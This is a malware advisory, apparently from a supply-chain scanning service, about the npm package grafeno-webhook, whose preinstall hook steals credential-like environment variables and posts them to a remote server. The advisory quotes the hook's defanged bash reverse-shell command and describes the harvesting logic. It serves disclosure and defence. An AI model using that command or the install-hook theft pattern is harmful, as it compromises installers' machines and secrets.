LWA-2026-11711 confirmed malware

grafeno-webhook@1.0.0

Malicious code in grafeno-webhook (npm)

T1059 · Command and Scripting InterpreterT1059.007 · JavaScriptT1552.001 · Credentials In FilesT1082 · System Information DiscoveryT1071 · Application Layer ProtocolT1105 · Ingress Tool TransferT1041 · Exfiltration Over C2 Channel

Analysis

The preinstall hook (preinstall.js) harvests the installer's environment variables whose names match AWS/TOKEN/KEY/SECRET/PASS/API, truncates each value to 80 characters, and base64-encodes them together with the hostname and username into a "webhook|host|user|env" string. It then POSTs this to hxxp://216[.]126[.]236[.]46/r[.]php via curl. On non-Windows systems it additionally spawns a detached reverse shell to 216[.]126[.]236[.]46:4444 (bash -i >& /dev/tcp/216[.]126[.]236[.]46/4444 0>&1 &). The hook swallows all errors so the install appears to succeed.

analyzed by
Leitwacht
first seen
Aug 29, 2026, 02:44 AM
analyzed
Aug 29, 2026, 02:44 AM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.